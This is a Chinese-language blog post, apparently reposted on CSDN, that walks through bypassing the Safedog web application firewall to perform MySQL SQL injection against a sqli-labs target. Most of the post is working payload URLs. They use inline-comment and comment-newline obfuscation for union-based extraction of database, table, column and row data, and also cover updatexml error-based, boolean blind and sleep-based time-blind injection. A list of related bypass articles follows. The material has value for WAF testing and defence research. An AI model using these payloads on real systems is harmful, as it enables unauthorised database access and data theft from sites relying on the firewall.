mysql bypass_Bypass MySQL Safedog

最新推荐文章于 2024-09-11 23:34:54 发布
最新推荐文章于 2024-09-11 23:34:54 发布
阅读量176 收藏
点赞数
文章标签： mysql bypass
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_30800249/article/details/113424668
版权

188465

跟团队小伙伴一起日狗

判断注入

安全狗不让基本运算符后跟数字字符串

特殊运算符绕

16进制绕

BINARY绕

conv()函数绕

concat()函数绕

判断字段数

绕order by

内联

注释换行

联合查询

关键在于打乱union select

内联

http://172.16.1.157/sql/Less-1/?id=-1' /*!14440union*//*!14440select */1,2,3 -- +

注释后跟垃圾字符换行

union distinct | distinctrow | all

接下来是查数据，我在这使用注释垃圾字符换行也就是%23a%0a的方法来绕，你可以用上面说的/*!14440*/内联

查当前数据库名

http://172.16.1.157/sql/Less-1/?id=-1' union %23chabug%0a select 1,database%23%0a(%0a),3 -- +

查其他库名 安全狗4.0默认没开information_schema防护的时候可以过，开了information_schema防护之后绕不过去，哭唧唧😭

http://172.16.1.157/sql/Less-1/?id=-1' union %23asdasdasd%0a select 1,(select schema_name from %23%0ainformation_schema.schemata limit 1,1),3 -- +

查表名

http://172.16.1.157/sql/Less-1/?id=-1' union %23asdasdasd%0a select 1,(select table_name from %23%0ainformation_schema.tables where table_schema=database(%23%0a) limit 1,1),3 -- +

查列名，首先是没开information_schema防护时

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0a select 1,(select column_name from %23%0a information_schema.columns where table_name=0x7573657273 and%23a%0a table_schema=database(%23%0a) limit 1,1),3 -- +

开information_schema防护有两种姿势，不过需要知道表名

一、子查询

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0a SELECT 1,2,x.2 from %23a%0a(SELECT * from %23a%0a (SELECT 1)a, (SELECT 2)b union %23a%0aSELECT *from %23a%0aemails)x limit 2,1 -- +

二、用join和using爆列名，前提是页面可以报错，需要已知表名

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b) c) -- +

188465

然后通过using来继续爆

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select * from %23a%0a(select * from %23a%0aemails a join emails b using(id)) c) -- +

188465

查数据

http://172.16.1.157/sql/Less-1/?id=-1' union %23a%0aSELECT 1,2,(select email_id from%23a%0a emails limit 1,1) -- +

其实配合MySQL5.7的特性可以使用sys这个库来绕过，具体看chabug发的文章吧 注入bypass之捶狗开锁破盾

在下文中不再提及开启information_schema防护的绕过姿势，自行举一反三。

报错注入

报错注入只提及updatexml报错

关键在于updatexml()结构打乱

and updatexml(1,1,1 不拦截

and updatexml(1,1,1) 拦截

不让updatexml匹配到两个括号就行了

用户名 库名

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,database(/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

库名

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select schema_name from %23a%0a information_schema.schemata limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

表名

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select table_name from %23a%0a information_schema.tables where table_schema=database(/*!)*/ limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

列名

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,`concat`(0x7e,(select column_name from %23a%0a information_schema.columns where table_schema=database(/*!)*/ and %23a%0atable_name=0x7573657273 limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

查数据

http://172.16.1.157/sql/Less-1/?id=-1' and updatexml(1,concat(0x7e,(select email_id from %23a%0a emails limit 1,1/*!)*/,0x7e/*!)*/,1/*!)*/ -- +

盲注

分布尔盲注和时间盲注来说吧

布尔盲注

不让他匹配完整括号对

使用left()或者right()

http://172.16.1.157/sql/Less-1/?id=1' and hex(LEFT(user(/*!)*/,1))=%23a%0a72 -- +

http://172.16.1.157/sql/Less-1/?id=1' and hex(right(user(/*!)*/,1))=%23a%0a72 -- +

使用substring() substr()

http://172.16.1.157/sql/Less-1/?id=1' and hex(SUBSTRING(user(/*!)*/,1,1))=72 -- +

http://172.16.1.157/sql/Less-1/?id=1' and hex(substr(user(/*!)*/,1,1))=72 -- +

查表名

http://172.16.1.157/sql/Less-1/?id=1' and hex(SUBSTR((select table_name from %23a%0a information_schema.tables where table_schema=%23a%0adatabase%23a%0a(/*!)*/ limit 0,1),1,1))=65-- +

列名字段名同理，略

时间盲注

不匹配成对括号

sleep()绕过

查用户

http://172.16.1.157/sql/Less-1/?id=1' and if%23%0a(left(user(/*!)*/,1/*!)*/=char(114),sleep(3/*!)*/,1/*!)*/ -- +

http://172.16.1.157/sql/Less-1/?id=1' and if%23%0a(left(user(/*!)*/,1/*!)*/=0x72,sleep(3/*!)*/,1/*!)*/ -- +

查数据 limit过不了

http://172.16.1.157/sql/Less-1/?id=1' and if%23%0a(left((select group_concat(table_name/*!)*/ from%23a%0ainformation_schema.tables where table_schema=database(/*!)*/ /*!)*/,1/*!)*/=0x65,sleep(5/*!)*/,1/*!)*/ -- +

其他

length()长度

count()

http://172.16.1.157/sql/Less-1/?id=1' and (%23a%0aselect count(password/*!)*/ from %23a%0a users/*!)*/<=>13 -- +

参考

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。

俎乐康
关注
bypass最新版d盾mysql_Bypass 护卫神SQL注入防御（多姿势）
weixin_29543939的博客
02-06 936
0x00 前言​ 护卫神一直专注服务器安全领域， 其中有一款产品，护卫神·入侵防护系统 ，提供了一些网站安全防护的功能，在IIS加固模块中有一个SQL防注入功能。这边主要分享一下几种思路，Bypass 护卫神SQL注入防御。0x01 环境搭建软件版本：护卫神·入侵防护系统 V3.8.1 最新版本测试环境：IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL0x02 WAF测...
mysql注释_WAF Bypass数据库特性（Mysql探索篇）
weixin_39629129的博客
12-05 211
0x01 前言我们经常利用一些数据库特性来进行WAF绕过。在Mysql中，比如可以这样：内联注释： /*!12345union*/selectMysql黑魔法: select{x user}from{x mysql.user};换行符绕过:%23%0a、%2d%2d%0a一起去探索一下能够绕过WAF防护的数据库特性。0x02 测试常见有5个位置即： SELECT * FROM adm...
MySql注入之Bypass总结
最新发布
未完成的歌~的博客
09-11 819
在真实的渗透测试环境中，经常会遇到被WAF拦截的情况，如果不知道怎么绕过WAF，想要继续渗透就很难了，因此，今天来总结一下 mysql 注入时，如何绕过WAF。
Mysql Bypass小结
08-18 183
总结一些Bypass的方法， 1. 绕过空格过滤，使用注释/**/来替换 绕过安全狗简单的两个方法： /*'+'*/ /**a*/ 2、使用大小写绕过某些关键字的过滤 SeLeCT * From test Where id=1 3、编码绕过 SELECT * from test1 where name='admin' SELE...
mysql bypass_Mysql Bypass小结
weixin_39731807的博客
01-19 95
总结一些Bypass的方法，1. 绕过空格过滤，使用注释/**/来替换绕过安全狗简单的两个方法：/*'+'*//**a*/2、使用大小写绕过某些关键字的过滤SeLeCT * From test Where id=13、编码绕过SELECT * from test1 where name='admin'SELECT * from test1 where name=CHAR(97, 100, 109,...
bypass 学习笔记之绕安全狗||bypass safedog
Summer's blog
05-13 3318
目录前言0x00 前期准备0x01 开始尝试绕开判断字段数联合查询爆数据Reference Resources 前言 走上安全这条路也有9个月了，虽然中途有两个月一直在准备其他的事情，但是安全这条路一直在坚持着。 学习安全这么久了，从一开始的脚本小子，我也一直想转变一下，改变自己的现状，但是因为种种事情，给耽误了这个计划。 因为接触最多漏洞应该是SQL注入吧，所以我第一想到就是bypass ...
【经验总结】SQL注入Bypass安全狗360主机卫士
TeamsSix 的 CSDN 空间
01-05 917
0x00 前言 这类的文章已经是比较多了，本文也主要是作为学习笔记来记录，主要是记录一下我在学习 SQL 注入 Bypass 的过程，同时前人的不少绕过方法已经失效了，所以这里也是记录一下最新规则的一些绕过方法。 0x01 环境搭建 测试环境：Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45 测试代码： <?php if ($_GET['id']==null...
Bypass学习基础
KHOST的博客
10-01 2401
一、网站防护分类 1.源码防护： 使用过滤函数对恶意攻击进行过滤，绕过思路： ①大小写替换 ②变换提交方式：如get请求变post/cookie请求绕过 ③编码绕过：url编码、基于语句重叠、注释符等 2.软件WAF： 通过访问速度、指纹识别等特征进行拦截；常见软件WAF如安全狗、D盾、云锁、云盾等，软件WAF侧重拦截web漏洞。通过访问阈值的大小判断为CC攻击，进行IP封锁； 3.硬件WAF： 主要防御流量和部分web攻击。常见硬件WAF如天融信、深信服等厂商的防火墙。硬件WAF基于T..
Bypass安全狗+DVWA靶机环境搭建
SuPejkj的博客
06-18 987
0x00 准备环境 win7虚拟机（个人用的是win7，看个人偏好） phpstudy： http://phpstudy.php.cn/download.html DVWA： https://github.com/ethicalhack3r/DVWA 安全狗： http://free.safedog.cn/server_safedog.html 我这里用的是最新的phpstudy 将下载好的DVWA解压放到phpstudy的www目录下 0x01 配置DVWA环境 将 config.
sql by pass ian
08-02
安全狗（SafeDog）是一款常用的安全防护软件，用于保护Web应用程序免受SQL注入等攻击。然而，为了进行渗透测试或了解防御机制，掌握一些绕过安全狗的技术成为必要。 #### 1. 使用特殊字符和编码 **描述：** 特殊...
Mysql注入bypass攻略
weixin_44825990的博客
12-18 3840
Mysql注入bypass攻略
MySQL注入Bypass技巧汇总
慢就是快
04-07 335
文章目录1.通过文件名查表 1.通过文件名查表 mysql> show tables; +--------------------+ | Tables_in_students | +--------------------+ | class | +--------------------+ 1 row in set (0.00 sec) mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE F
SageMaker Experiments 项目教程
gitblog_00096的博客
03-26 414
SageMaker Experiments 项目教程 sagemaker-experiments Experiment tracking and metric logging for Amazon SageMaker notebooks and model training. ...
WAF bypass学习（MySQL注入）
BeatRex的博客
04-23 1066
一、绕过目录扫描的防护 修改user-agent为搜索引擎的爬虫 百度爬虫：Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) 减缓扫描速度 通过代理ip进行扫描 二、手工注入绕过 大小写变种 如：对某些关键字如：select、union、order、where进行关键字的过滤...
5行tamper bypass safedog
z4yn:)的博客
12-08 273
5行tamper bypass safedog 0x01 准备了safedog，sqli靶场 最新的safedog ，2020-12-07号下载的。 虚拟机仅主机模式下没有注册，但也还能用。将就一下。 0x02 xor绕过 首先测试语句and 1=1 / or 1=1 被拦截。 xor 1=1--+没有被拦截可以判断注入。 0x03 mysql空字符+内联注释绕过 mysql空字符：%20，%0b，%09，%0a，%0c，%0d，%a0 内联注释：/*!*/ ...
mysql waf绕过-WAF Bypass技巧(2)
AI
06-07 824
mysql waf绕过的一些玩法
WAF Bypass数据库特性（Mysql探索篇）
weixin_33881050的博客
07-02 103
0x01 背景 Mysql数据库特性探索，探索能够绕过WAF的数据库特性。 0x02 测试 常见有5个位置即： SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin 位置一：参数和union之间的位置 (1): 常见形式%...
BYPASS_REG
09-07
BYPASS_REG是一个与调压器相关的引脚，并且需要接地。根据引用中的信息，BYPASS_REG是VOLTAGE REGULATOR（调压器）的一个引脚，并且需要连接到地。在引用中提到，如果没有正确接地BYPASS_REG引脚，可能会导致无法...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值